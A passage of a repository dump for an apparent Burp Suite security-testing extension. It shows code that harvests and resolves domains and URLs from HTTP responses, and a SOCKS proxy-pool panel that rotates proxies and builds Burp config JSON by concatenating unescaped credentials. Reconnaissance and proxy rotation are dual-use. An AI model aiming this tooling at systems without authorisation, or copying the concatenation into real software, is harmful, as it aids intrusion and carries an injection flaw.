processExtractedData(responseBody);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"处理响应内容失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 处理大型响应\n     */\n    private void processLargeResponse(byte[] response, int bodyOffset) throws IOException {\n        final int CHUNK_SIZE = 1024 * 1024; // 1MB\n        int currentOffset = bodyOffset;\n\n        while (currentOffset < response.length) {\n            int endOffset = Math.min(currentOffset + CHUNK_SIZE, response.length);\n            String chunk = new String(Arrays.copyOfRange(response, currentOffset, endOffset), \"UTF-8\");\n            processExtractedData(chunk);\n            currentOffset = endOffset;\n        }\n    }\n\n    /**\n     * 处理提取的数据\n     */\n    private void processExtractedData(String content) {\n        // 并行提取域名和URL\n        CompletableFuture<Set<String>> domainsFuture = CompletableFuture.supplyAsync(() -> extractDomains(content));\n        CompletableFuture<Set<String>> urlsFuture = CompletableFuture.supplyAsync(() -> extractUrls(content));\n\n        try {\n            // 获取提取结果\n            Set<String> domains = domainsFuture.get();\n            Set<String> urls = urlsFuture.get();\n\n            // 处理域名\n            domains.stream()\n                    .filter(this::isDomainRelevant)\n                    .forEach(this::processNewDomain);\n\n            // 处理URL\n            urls.stream()\n                    .filter(this::isUrlRelevant)\n                    .forEach(this::processNewUrl);\n\n        } catch (Exception e) {\n            Utils.stderr.println(\"处理提取数据失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 处理新发现的域名\n     */\n    private void processNewDomain(String domain) {\n        if (!isDomainMatch(domain) || isReloading) {\n            return;\n        }\n\n        // 检查缓存\n        if (CacheManager.isProjectDomainCached(currentProject.getId(), domain)) {\n            return;\n        }\n\n        synchronized (this) {\n            // 双重检查\n            if (CacheManager.isProjectDomainCached(currentProject.getId(), domain)) {\n                return;\n            }\n\n            // 检查数据库\n            if (SimilarDomainResultDao.isDomainExists(currentProject.getId(), domain)) {\n                CacheManager.cacheProjectDomain(currentProject.getId(), domain);\n                return;\n            }\n        }\n\n        // 异步解析IP\n        CompletableFuture.supplyAsync(() -> getIPWithCache(domain))\n                .thenAccept(ip -> {\n                    Utils.stdout.println(\"域名匹配成功: \" + domain);\n                    updateDomainUI(domain, ip);\n                })\n                .exceptionally(e -> {\n                    Utils.stderr.println(\"处理域名失败: \" + e.getMessage());\n                    return null;\n                });\n    }\n\n    /**\n     * 检查域名是否匹配主域名\n     * @param domain 需要检查的域名\n     * @return 是否匹配\n     */\n    private boolean isDomainMatch(String domain) {\n        if (currentProject == null || currentProject.getMainDomains() == null) {\n            return false;\n        }\n\n        String lowerDomain = domain.toLowerCase();\n        return currentProject.getMainDomains().stream()\n                .filter(mainDomain -> mainDomain != null && !mainDomain.isEmpty())\n                .map(String::toLowerCase)\n                .anyMatch(lowerDomain::endsWith);\n    }\n\n    /**\n     * 更新域名UI\n     */\n    private void updateDomainUI(String domain, String ip) {\n        if (isReloading) {\n            return;\n        }\n\n        SwingUtilities.invokeLater(() -> {\n            try {\n                // 添加到表格\n                Domain entry = new Domain(domain, ip);\n                domainTable.addEntry(entry);\n                Utils.stdout.println(\"已添加域名到表格: \" + domain);\n\n                // 保存到数据库\n                saveDomainToDatabase(entry);\n            } catch (Exception e) {\n                Utils.stderr.println(\"添加域名条目失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 保存域名到数据库\n     */\n    private void saveDomainToDatabase(Domain entry) {\n        ThreadManager.execute(() -> {\n            try {\n                SimilarDomainResultBean domainResult = new SimilarDomainResultBean(\n                        currentProject.getId(),\n                        entry.getDomain(),\n                        entry.getIp()\n                );\n\n                int newId = SimilarDomainResultDao.saveDomainResult(domainResult);\n                if (newId > 0) {\n                    entry.setId(newId);\n                    SwingUtilities.invokeLater(() -> domainTable.refreshEntry(entry));\n                    CacheManager.cacheProjectDomain(currentProject.getId(), entry.getDomain());\n                }\n            } catch (Exception e) {\n                Utils.stderr.println(\"保存域名到数据库失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 处理新发现的URL\n     */\n    private void processNewUrl(String url) {\n        if (isReloading) {\n            return;\n        }\n\n        synchronized (this) {\n            // 检查缓存和数据库\n            if (CacheManager.isProjectUrlCached(currentProject.getId(), url)) {\n                return;\n            }\n\n            if (SimilarUrlResultDao.isUrlExists(currentProject.getId(), url)) {\n                CacheManager.cacheProjectUrl(currentProject.getId(), url);\n                return;\n            }\n        }\n\n        // 更新UI和数据库\n        SwingUtilities.invokeLater(() -> {\n            try {\n                // 添加到表格\n                URL entry = new URL(url);\n                urlTable.addEntry(entry);\n\n                // 保存到数据库\n                ThreadManager.execute(() -> saveUrlToDatabase(url));\n            } catch (Exception e) {\n                Utils.stderr.println(\"添加URL条目失败: \" + e.getMessage());\n            }\n        });\n    }\n\n    /**\n     * 保存URL到数据库\n     */\n    private void saveUrlToDatabase(String url) {\n        try {\n            SimilarUrlResultBean urlResult = new SimilarUrlResultBean(\n                    currentProject.getId(),\n                    url\n            );\n            int newId = SimilarUrlResultDao.saveUrlResult(urlResult);\n            if (newId > 0) {\n                CacheManager.cacheProjectUrl(currentProject.getId(), url);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"保存URL到数据库失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 项目选择处理\n     */\n    private void handleProjectSelection(Project project) {\n        if (isSelectingProject || project == null) {\n            return;\n        }\n\n        isSelectingProject = true;\n        try {\n            ThreadManager.execute(() -> {\n                try {\n                    switchToNewProject(project);\n                } catch (Exception e) {\n                    handleProjectSwitchError(e);\n                } finally {\n                    isSelectingProject = false;\n                }\n            });\n        } catch (Exception e) {\n            isSelectingProject = false;\n            throw e;\n        }\n    }\n\n    /**\n     * 切换到新项目\n     */\n    private void switchToNewProject(Project project) throws SQLException {\n        // 清理当前项目\n        cleanupCurrentProject();\n\n        // 设置新项目\n        currentProject = project;\n        updateProjectUI(project);\n\n        // 加载项目配置和数据\n        List<String> domainConfigs = SimilarDomainConfigDao.getDomainConfigs(project.getId());\n        project.setMainDomains(domainConfigs);\n\n        // 检查域名配置\n        if (domainConfigs.isEmpty()) {\n            showDomainConfigWarning();\n        }\n\n        // 加载项目数据\n        loadAllProjectData(project.getId());\n    }\n\n    /**\n     * 加载项目所有数据\n     * @param projectId 项目ID\n     */\n    private void loadAllProjectData(int projectId) throws SQLException {\n        // 清空现有数据和缓存\n        SwingUtilities.invokeLater(() -> {\n            domainTable.clearData();\n            urlTable.clearData();\n        });\n        CacheManager.clearProjectCache(projectId);\n\n        // 并行获取域名和URL数据\n        CompletableFuture<List<SimilarDomainResultBean>> domainsFuture = CompletableFuture.supplyAsync(() -> {\n            try {\n                return SimilarDomainResultDao.getDomainResults(projectId);\n            } catch (SQLException e) {\n                throw new CompletionException(e);\n            }\n        });\n\n        CompletableFuture<List<SimilarUrlResultBean>> urlsFuture =\n                CompletableFuture.supplyAsync(() -> SimilarUrlResultDao.getUrlResults(projectId));\n\n        // 等待所有数据加载完成\n        CompletableFuture.allOf(domainsFuture, urlsFuture).thenRun(() -> {\n            try {\n                // 处理域名数据\n                List<SimilarDomainResultBean> domainResults = domainsFuture.get();\n                Map<String, SimilarDomainResultBean> uniqueDomains = new HashMap<>();\n\n                if (domainResults != null) {\n                    // 对域名数据去重\n                    for (SimilarDomainResultBean result : domainResults) {\n                        if (result != null) {\n                            String domainKey = result.getDomain().toLowerCase();\n                            if (!uniqueDomains.containsKey(domainKey) ||\n                                    uniqueDomains.get(domainKey).getId() > result.getId()) {\n                                uniqueDomains.put(domainKey, result);\n                            }\n                        }\n                    }\n                }\n\n                // 处理URL数据\n                List<SimilarUrlResultBean> urlResults = urlsFuture.get();\n                Map<String, SimilarUrlResultBean> uniqueUrls = new HashMap<>();\n\n                if (urlResults != null) {\n                    // 对URL数据去重\n                    for (SimilarUrlResultBean result : urlResults) {\n                        if (result != null) {\n                            String urlKey = result.getUrl();\n                            if (!uniqueUrls.containsKey(urlKey) ||\n                                    uniqueUrls.get(urlKey).getId() > result.getId()) {\n                                uniqueUrls.put(urlKey, result);\n                            }\n                        }\n                    }\n                }\n\n                // 批量更新UI\n                SwingUtilities.invokeLater(() -> {\n                    // 更新域名表格\n                    domainTable.startBatchUpdate();\n                    try {\n                        for (SimilarDomainResultBean result : uniqueDomains.values()) {\n                            domainTable.addEntry(new Domain(result));\n                            CacheManager.cacheProjectDomain(projectId, result.getDomain());\n                        }\n                    } finally {\n                        domainTable.endBatchUpdate();\n                    }\n\n                    // 更新URL表格\n                    urlTable.startBatchUpdate();\n                    try {\n                        for (SimilarUrlResultBean result : uniqueUrls.values()) {\n                            urlTable.addEntry(new URL(result.getUrl()));\n                            CacheManager.cacheProjectUrl(projectId, result.getUrl());\n                        }\n                    } finally {\n                        urlTable.endBatchUpdate();\n                    }\n                });\n\n            } catch (Exception e) {\n                Utils.stderr.println(\"加载项目数据失败: \" + e.getMessage());\n            }\n        }).join();\n    }\n\n    /**\n     * 更新项目UI\n     */\n    private void updateProjectUI(Project project) {\n        SwingUtilities.invokeLater(() -> {\n            currentProjectLabel.setText(\"当前项目: \" + project.getName());\n            scanButton.setEnabled(true);\n            domainConfigButton.setEnabled(true);\n        });\n    }\n\n    /**\n     * 显示域名配置警告\n     */\n    private void showDomainConfigWarning() {\n        SwingUtilities.invokeLater(() -> {\n            JOptionPane.showMessageDialog(mainPanel,\n                    \"该项目还未配置主域名，请先配置主域名！\",\n                    \"提示\",\n                    JOptionPane.INFORMATION_MESSAGE);\n        });\n    }\n\n    /**\n     * 处理项目切换错误\n     */\n    private void handleProjectSwitchError(Exception e) {\n        Utils.stderr.println(\"切换项目失败: \" + e.getMessage());\n        SwingUtilities.invokeLater(() -> {\n            JOptionPane.showMessageDialog(mainPanel,\n                    \"加载项目失败: \" + e.getMessage(),\n                    \"错误\",\n                    JOptionPane.ERROR_MESSAGE);\n        });\n    }\n\n    // 信号量用于限制DNS解析并发数\n    private final Semaphore dnsResolveSemaphore = new Semaphore(10);\n\n    // 黑名单后缀集合\n    private Set<String> blackListSuffixes;\n\n    /**\n     * 初始化数据\n     */\n    private void setupData() {\n        // 设置按钮初始状态\n        scanButton.setEnabled(false);\n        domainConfigButton.setEnabled(false);\n\n        // 初始化黑名单\n        initializeBlackList();\n\n        // 设置定时清理任务\n        setupCleanupTask();\n    }\n\n    /**\n     * 初始化黑名单后缀\n     */\n    private void initializeBlackList() {\n        blackListSuffixes = new HashSet<>(Arrays.asList(\n                // 图片文件\n                \".jpg\", \".jpeg\", \".png\", \".gif\", \".ico\", \".bmp\", \".webp\", \".svg\",\n                // 样式和脚本文件\n                \".css\", \".js\", \".jsx\", \".ts\", \".tsx\",\n                // 字体文件\n                \".woff\", \".woff2\", \".ttf\", \".eot\", \".otf\",\n                // 媒体文件\n                \".mp4\", \".mp3\", \".wav\", \".avi\", \".mov\", \".wmv\", \".flv\",\n                // 文档文件\n                \".pdf\", \".doc\", \".docx\", \".xls\", \".xlsx\", \".ppt\", \".pptx\",\n                // 压缩文件\n                \".zip\", \".rar\", \".7z\", \".tar\", \".gz\",\n                // 其他二进制文件\n                \".exe\", \".dll\", \".so\", \".dmg\", \".iso\",\n                // 地图文件\n                \".map\"\n        ));\n    }\n\n    /**\n     * 设置定时清理任务\n     */\n    private void setupCleanupTask() {\n        Timer cleanupTimer = new Timer(60 * 60 * 1000, e -> { // 每小时执行一次\n            ThreadManager.execute(() -> {\n                try {\n                    // 清理过期的IP缓存\n                    CacheManager.cleanExpiredIPCache();\n\n                    // 同步当前项目数据\n                    if (currentProject != null) {\n                        syncProjectData();\n                    }\n                } catch (Exception ex) {\n                    Utils.stderr.println(\"执行清理任务失败: \" + ex.getMessage());\n                }\n            });\n        });\n        cleanupTimer.start();\n    }\n\n    /**\n     * 同步项目数据\n     */\n    private void syncProjectData() {\n        try {\n            List<String> latestConfigs = SimilarDomainConfigDao.getDomainConfigs(currentProject.getId());\n            currentProject.setMainDomains(latestConfigs);\n        } catch (Exception e) {\n            Utils.stderr.println(\"同步项目数据失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 提取域名\n     */\n    private Set<String> extractDomains(String content) {\n        Set<String> domains = new HashSet<>();\n        try {\n            // 域名匹配正则表达式\n            Pattern pattern = Pattern.compile(\n                    \"(?i)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9]\"\n            );\n            Matcher matcher = pattern.matcher(content);\n\n            // 使用StringBuilder优化字符串操作\n            StringBuilder domainBuilder = new StringBuilder();\n            while (matcher.find()) {\n                domainBuilder.setLength(0);\n                domainBuilder.append(matcher.group().toLowerCase());\n                String domain = domainBuilder.toString();\n\n                if (!isBlacklistedDomain(domain)) {\n                    domains.add(domain);\n                }\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(\"提取域名失败: \" + e.getMessage());\n        }\n        return domains;\n    }\n\n    /**\n     * 提取URL\n     */\n    private Set<String> extractUrls(String content) {\n        Set<String> urls = new HashSet<>();\n        try {\n            // URL匹配正则表达式\n            Pattern pattern = Pattern.compile(\n                    \"(?i)https?://(?:(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9])\" +\n                            \"(?::[0-9]{1,5})?(?:/[^\\\\s\\\"'<>\\\\[\\\\]{}\\\\\\\\^`|]*)?\"\n            );\n            Matcher matcher = pattern.matcher(content);\n\n            while (matcher.find()) {\n                String url = matcher.group();\n                if (isValidUrl(url)) {\n                    urls.add(url);\n                }\n            }\n        } catch (Exception e) {\n            callbacks.printError(\"提取URL失败: \" + e.getMessage());\n        }\n        return urls;\n    }\n\n    /**\n     * 检查域名是否在黑名单中\n     */\n    private boolean isBlacklistedDomain(String domain) {\n        return blackListSuffixes.stream().anyMatch(domain::endsWith);\n    }\n\n    /**\n     * 验证URL是否有效\n     */\n    private boolean isValidUrl(String url) {\n        try {\n            // 检查URL格式\n            new java.net.URL(url);\n\n            // 检查是否包含黑名单后缀\n            return !blackListSuffixes.stream()\n                    .anyMatch(suffix -> url.toLowerCase().endsWith(suffix));\n        } catch (Exception e) {\n            return false;\n        }\n    }\n\n    /**\n     * 检查URL是否需要过滤\n     */\n    private boolean shouldFilter(String url) {\n        return blackListSuffixes.stream()\n                .anyMatch(suffix -> url.toLowerCase().endsWith(suffix));\n    }\n\n    /**\n     * 获取响应内容类型\n     */\n    private String getResponseContentType(IResponseInfo responseInfo) {\n        for (String header : responseInfo.getHeaders()) {\n            if (header.toLowerCase().startsWith(\"content-type:\")) {\n                return header.substring(\"content-type:\".length()).trim().toLowerCase();\n            }\n        }\n        return \"\";\n    }\n\n    /**\n     * 检查内容类型是否可处理\n     */\n    private boolean isProcessableContentType(String contentType) {\n        return contentType.contains(\"text/\") ||\n                contentType.contains(\"application/json\") ||\n                contentType.contains(\"application/xml\") ||\n                contentType.contains(\"application/javascript\") ||\n                contentType.contains(\"application/x-javascript\") ||\n                contentType.contains(\"application/ecmascript\") ||\n                contentType.contains(\"application/x-httpd-php\");\n    }\n\n    /**\n     * 获取带缓存的IP地址\n     */\n    private String getIPWithCache(String domain) {\n        // 检查缓存\n        String cachedIP = CacheManager.getCachedIP(domain);\n        if (cachedIP != null) {\n            return cachedIP;\n        }\n\n        // 使用信号量限制并发DNS查询\n        try {\n            return dnsResolveSemaphore.tryAcquire(5, TimeUnit.SECONDS) ?\n                    performDNSResolve(domain) : \"解析超时\";\n        } catch (InterruptedException e) {\n            Thread.currentThread().interrupt();\n            return \"解析中断\";\n        }\n    }\n\n    /**\n     * 执行DNS解析\n     */\n    private String performDNSResolve(String domain) {\n        try {\n            InetAddress[] addresses = InetAddress.getAllByName(domain);\n            if (addresses.length > 0) {\n                StringBuilder ips = new StringBuilder();\n                for (InetAddress addr : addresses) {\n                    if (ips.length() > 0) {\n                        ips.append(\", \");\n                    }\n                    ips.append(addr.getHostAddress());\n                }\n                String result = ips.toString();\n                CacheManager.cacheIP(domain, result);\n                return result;\n            }\n            return \"无解析结果\";\n        } catch (Exception e) {\n            return \"解析失败: \" + e.getMessage();\n        } finally {\n            dnsResolveSemaphore.release();\n        }\n    }\n\n    /**\n     * 检查域名是否相关\n     */\n    private boolean isDomainRelevant(String domain) {\n        if (currentProject == null || currentProject.getMainDomains() == null) {\n            return false;\n        }\n\n        String lowerDomain = domain.toLowerCase();\n        return currentProject.getMainDomains().stream()\n                .filter(Objects::nonNull)\n                .map(String::toLowerCase)\n                .anyMatch(lowerDomain::endsWith);\n    }\n\n    /**\n     * 检查URL是否相关\n     */\n    private boolean isUrlRelevant(String url) {\n        try {\n            java.net.URL parsedUrl = new java.net.URL(url);\n            return isDomainRelevant(parsedUrl.getHost());\n        } catch (Exception e) {\n            return false;\n        }\n    }\n\n    /**\n     * 清理当前项目\n     */\n    private void cleanupCurrentProject() {\n        if (currentProject != null) {\n            // 停止扫描\n            setScanEnabled(false);\n\n            // 清理缓存\n            CacheManager.clearProjectCache(currentProject.getId());\n\n            // 清理UI\n            SwingUtilities.invokeLater(() -> {\n                domainTable.clearData();\n                urlTable.clearData();\n            });\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SocksUI.java",
    "content": "package burp.ui;\n\nimport burp.IBurpExtenderCallbacks;\nimport burp.ui.UIHepler.GridBagConstraintsHelper;\nimport burp.utils.I18nUtils;\nimport burp.utils.Utils;\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\n\nimport javax.swing.*;\nimport java.awt.*;\nimport java.awt.event.ActionEvent;\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @Author Xm17\n * @Date 2024-06-13 22:02\n */\npublic class SocksUI implements UIHandler {\n    private JPanel panel;\n    private JButton saveButton;\n    private JButton nextButton;\n    private JCheckBox enableCheckBox;\n    private Boolean dns_over_socks;\n    private String host;\n    private int port;\n    private Boolean use_proxy;\n    private Boolean use_user_options;\n    private String username;\n    private String password;\n    private JTextPane ipTextField;\n    private JTextPane logTextField;\n    private List<ProxyConfig> proxyConfigs;\n    private int currentIndex = -1;\n\n    // 新增代理配置类\n    private static class ProxyConfig {\n        String ip;\n        String port;\n        String username;\n        String password;\n\n        public ProxyConfig(String ip, String port, String username, String password) {\n            this.ip = ip;\n            this.port = port;\n            this.username = username != null ? username.trim().replaceAll(\"[\\r\\n]\", \"\") : \"\";\n            this.password = password != null ? password.trim().replaceAll(\"[\\r\\n]\", \"\") : \"\";\n        }\n    }\n\n    @Override\n    public void init() {\n        setupUI();\n        setupData();\n    }\n\n    private void setupData() {\n        if (!isConfigFileExist()){\n            saveSettings(Utils.callbacks);\n        }\n    }\n\n    private void setupUI() {\n        panel = new JPanel();\n        panel.setLayout(new GridBagLayout());\n\n        saveButton = new JButton(I18nUtils.get(\"socks.button.save\"));\n        panel.add(saveButton,new GridBagConstraintsHelper(0, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE));\n        nextButton = new JButton(I18nUtils.get(\"socks.button.next\"));\n        panel.add(nextButton,new GridBagConstraintsHelper(1, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE));\n        enableCheckBox =  new JCheckBox(I18nUtils.get(\"socks.checkbox.enable\"));\n        panel.add(enableCheckBox,new GridBagConstraintsHelper(3, 0, 1, 1).setInsets(5).setIpad(0, 0).setWeight(0, 0).setAnchor(GridBagConstraints.WEST).setFill(GridBagConstraints.NONE));\n\n        JSplitPane jSplitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT);\n        ipTextField = new JTextPane();\n        ipTextField.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"socks.border.proxy_pool\")));\n        ipTextField.setEditable(true);\n        logTextField = new JTextPane();\n        logTextField.setBorder(BorderFactory.createTitledBorder(I18nUtils.get(\"socks.border.log\")));\n        logTextField.setEditable(false);\n        jSplitPane.setDividerLocation(0.5);\n        jSplitPane.setResizeWeight(0.5);\n\n        jSplitPane.setLeftComponent(ipTextField);\n        jSplitPane.setRightComponent(logTextField);\n        panel.add(jSplitPane,new GridBagConstraintsHelper(0, 1, 0, 0).setInsets(5).setIpad(0, 0).setWeight(1.0d, 1.0d).setAnchor(GridBagConstraints.CENTER).setFill(GridBagConstraints.BOTH));\n    }\n\n    // 修改写入代理设置方法\n    public void writeIpPortSettings(IBurpExtenderCallbacks callbacks, ProxyConfig config, boolean enable) {\n        try{\n            // 先读取现有配置\n            String jsonStr = Utils.readString(Utils.SocksConfigFile(\"socks.json\"),\"utf-8\");\n            JSONObject jsonObject = JSON.parseObject(jsonStr);\n            boolean dns_over_socks_update = jsonObject.getBoolean(\"dns_over_socks\");\n            boolean use_user_options_update = jsonObject.getBoolean(\"use_user_options\");\n\n            // 创建新的配置对象\n            JSONObject newConfig = new JSONObject();\n            newConfig.put(\"use_proxy\", enable);\n            newConfig.put(\"use_user_options\", use_user_options_update);\n            newConfig.put(\"dns_over_socks\", dns_over_socks_update);\n            newConfig.put(\"host\", config.ip);\n            newConfig.put(\"port\", Integer.parseInt(config.port.trim()));\n            newConfig.put(\"username\", config.username);\n            newConfig.put(\"password\", config.password);\n\n            // 将新配置写入文件\n            Utils.writeString(newConfig.toJSONString(), Utils.SocksConfigFile(\"socks.json\"), \"utf-8\");\n\n            // 设置DNS over SOCKS\n            String socksDnsOverSocksPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"dns_over_socks\\\":\";\n            String socksDnsOverSocksSuffix = \"}}}}\";\n            callbacks.loadConfigFromJson(socksDnsOverSocksPrefix + dns_over_socks_update + socksDnsOverSocksSuffix);\n\n            // 设置使用用户选项\n            String socksUseUserOptionsPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"use_user_options\\\":\";\n            String socksUseUserOptionsSuffix = \"}}}}\";\n            callbacks.loadConfigFromJson(socksUseUserOptionsPrefix + use_user_options_update + socksUseUserOptionsSuffix);\n\n            // 设置主机\n            String socksHostPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"host\\\":\\\"\";\n            String socksHostSuffix = \"\\\"}}}}\";\n            callbacks.loadConfigFromJson(socksHostPrefix + config.ip + socksHostSuffix);\n\n            // 设置端口\n            String socksPortPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"port\\\":\";\n            String socksPortSuffix = \"}}}}\";\n            callbacks.loadConfigFromJson(socksPortPrefix + Integer.parseInt(config.port.trim()) + socksPortSuffix);\n\n            // 设置用户名\n            String socksUsernamePrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"username\\\":\\\"\";\n            String socksUsernameSuffix = \"\\\"}}}}\";\n            callbacks.loadConfigFromJson(socksUsernamePrefix + config.username + socksUsernameSuffix);\n\n            // 设置密码\n            String socksPasswordPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"password\\\":\\\"\";\n            String socksPasswordSuffix = \"\\\"}}}}\";\n            callbacks.loadConfigFromJson(socksPasswordPrefix + config.password + socksPasswordSuffix);\n\n            // 设置是否启用代理\n            String socksUseProxyPrefix = \"{\\\"project_options\\\":{\\\"connections\\\":{\\\"socks_proxy\\\":{\\\"use_proxy\\\":\";\n            String socksUseProxySuffix = \"}}}}\";\n            callbacks.loadConfigFromJson(socksUseProxyPrefix + enable + socksUseProxySuffix);\n\n            // 更新日志\n            String currentText = logTextField.getText();\n            String newText = currentText + \"Socks Setting Success\\n\" +\n                    \"Current ip: \" + config.ip +\n                    \" port: \" + config.port;\n            if (!config.username.isEmpty()) {\n                newText += \" username: \" + config.username;\n            }\n            newText += \"\\n\";\n            logTextField.setText(newText);\n\n        }catch (Exception e2){\n            Utils.stderr.println(e2.getMessage());\n        }\n    }\n\n    // 开启或关闭代理\n    public void isEnableSettings(IBurpExtenderCallbacks callbacks, boolean enable) {\n        try{\n            String jsonStr = Utils.readString(Utils.SocksConfigFile(\"socks.json\"),\"utf-8\");\n            JSONObject jsonObject = JSON.parseObject(jsonStr);\n\n            // 更新启用状态\n            jsonObject.put(\"use_proxy\", enable);\n\n            // 将更新后的配置写回文件\n            Utils.writeString(jsonObject.toJSONString(), Utils.SocksConfigFile(\"socks.json\"), \"utf-8\");\n\n            ProxyConfig config = new ProxyConfig(\n                    jsonObject.getString(\"host\"),\n                    String.valueOf(jsonObject.getInteger(\"port\")),\n                    jsonObject.getString(\"username\"),\n                    jsonObject.getString(\"password\")\n            );\n\n            writeIpPortSettings(callbacks, config, enable);\n        }catch (Exception e2){\n            Utils.stderr.println(e2.getMessage());\n        }\n    }\n\n    // 保存配置\n    public void saveSettings(IBurpExtenderCallbacks callbacks) {\n        JSONObject jsonObject = new JSONObject();\n        jsonObject.put(\"use_proxy\", false);\n        jsonObject.put(\"use_user_options\", false);\n        jsonObject.put(\"dns_over_socks\", false);\n        jsonObject.put(\"host\", \"127.0.0.1\");\n        jsonObject.put(\"port\", 7890);  // 注意这里改成了数字类型\n        jsonObject.put(\"username\", \"\");\n        jsonObject.put(\"password\", \"\");\n        String sockinfo = jsonObject.toJSONString();\n        try{\n            Utils.writeString(sockinfo, Utils.SocksConfigFile(\"socks.json\"), \"utf-8\");\n        }catch (Exception e){\n            Utils.stderr.println(e.getMessage());\n        }\n    }\n\n    // 判断配置文件是否存在\n    public boolean isConfigFileExist() {\n        File file = new File(Utils.WORKDIR + \"socks.json\");\n        return file.exists();\n    }\n\n    @Override\n    public JPanel getPanel(IBurpExtenderCallbacks callbacks) {\n        // 保存配置\n        saveButton.addActionListener(new AbstractAction() {\n            public void actionPerformed(ActionEvent evt) {\n                String ipTextFieldText = ipTextField.getText();\n                // 将所有的\\r\\n和\\r都统一转换为\\n\n                ipTextFieldText = ipTextFieldText.replaceAll(\"\\r\\n|\\r\", \"\\n\");\n                String[] ipTextFieldTextSplit = ipTextFieldText.split(\"\\n\");\n                proxyConfigs = new ArrayList<>();\n\n                for (String line : ipTextFieldTextSplit) {\n                    // 跳过空行\n                    if (line.trim().isEmpty()) {\n                        continue;\n                    }\n\n                    String[] parts = line.split(\":\");\n                    if (parts.length >= 2) {\n                        ProxyConfig config;\n                        if (parts.length >= 4) {\n                            // IP:PORT:USERNAME:PASSWORD 格式\n                            config = new ProxyConfig(parts[0], parts[1], parts[2], parts[3]);\n                        } else {\n                            // IP:PORT 格式\n                            config = new ProxyConfig(parts[0], parts[1], \"\", \"\");\n                        }\n                        proxyConfigs.add(config);\n                    }\n                }\n\n                if (proxyConfigs.size() > 0) {\n                    JOptionPane.showMessageDialog(null, String.format(I18nUtils.get(\"socks.message.save_success\"), proxyConfigs.size()), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                } else {\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"socks.message.invalid_format\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                }\n            }\n        });\n\n        // 切换代理\n        nextButton.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                if (proxyConfigs == null || proxyConfigs.isEmpty()) {\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"socks.message.save_first\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                    return;\n                }\n\n                if (currentIndex >= 0 && currentIndex < proxyConfigs.size()) {\n                    proxyConfigs.remove(currentIndex);\n                }\n\n                if (proxyConfigs.isEmpty()) {\n                    JOptionPane.showMessageDialog(null, I18nUtils.get(\"socks.message.all_used\"), I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                    return;\n                }\n\n                currentIndex = (currentIndex + 1) % proxyConfigs.size();\n                ProxyConfig currentConfig = proxyConfigs.get(currentIndex);\n\n                String message;\n                if (!currentConfig.username.isEmpty()) {\n                    message = String.format(I18nUtils.get(\"socks.message.current_proxy_with_user\"), currentConfig.ip, currentConfig.port, currentConfig.username);\n                } else {\n                    message = String.format(I18nUtils.get(\"socks.message.current_proxy\"), currentConfig.ip, currentConfig.port);\n                }\n\n                JOptionPane.showMessageDialog(null, message, I18nUtils.get(\"config.title.info\"), JOptionPane.INFORMATION_MESSAGE);\n                writeIpPortSettings(callbacks, currentConfig, enableCheckBox.isSelected());\n            }\n        });\n\n        // 启用/禁用代理\n        enableCheckBox.addActionListener(new AbstractAction() {\n            @Override\n            public void actionPerformed(ActionEvent e) {\n                boolean enabled = enableCheckBox.isSelected();\n                isEnableSettings(callbacks, enabled);\n                String currentText = logTextField.getText();\n                String newText = currentText + (enabled ? \"Socks Enable\\n\" : \"Socks Disable\\n\");\n                logTextField.setText(newText);\n            }\n        });\n\n        return panel;\n    }\n\n    @Override\n    public String getTabName() {\n        return \"SOCKS Settings\";\n    }\n}"
  },
  {
    "path": "src/main/java/burp/ui/SqlUI.java",
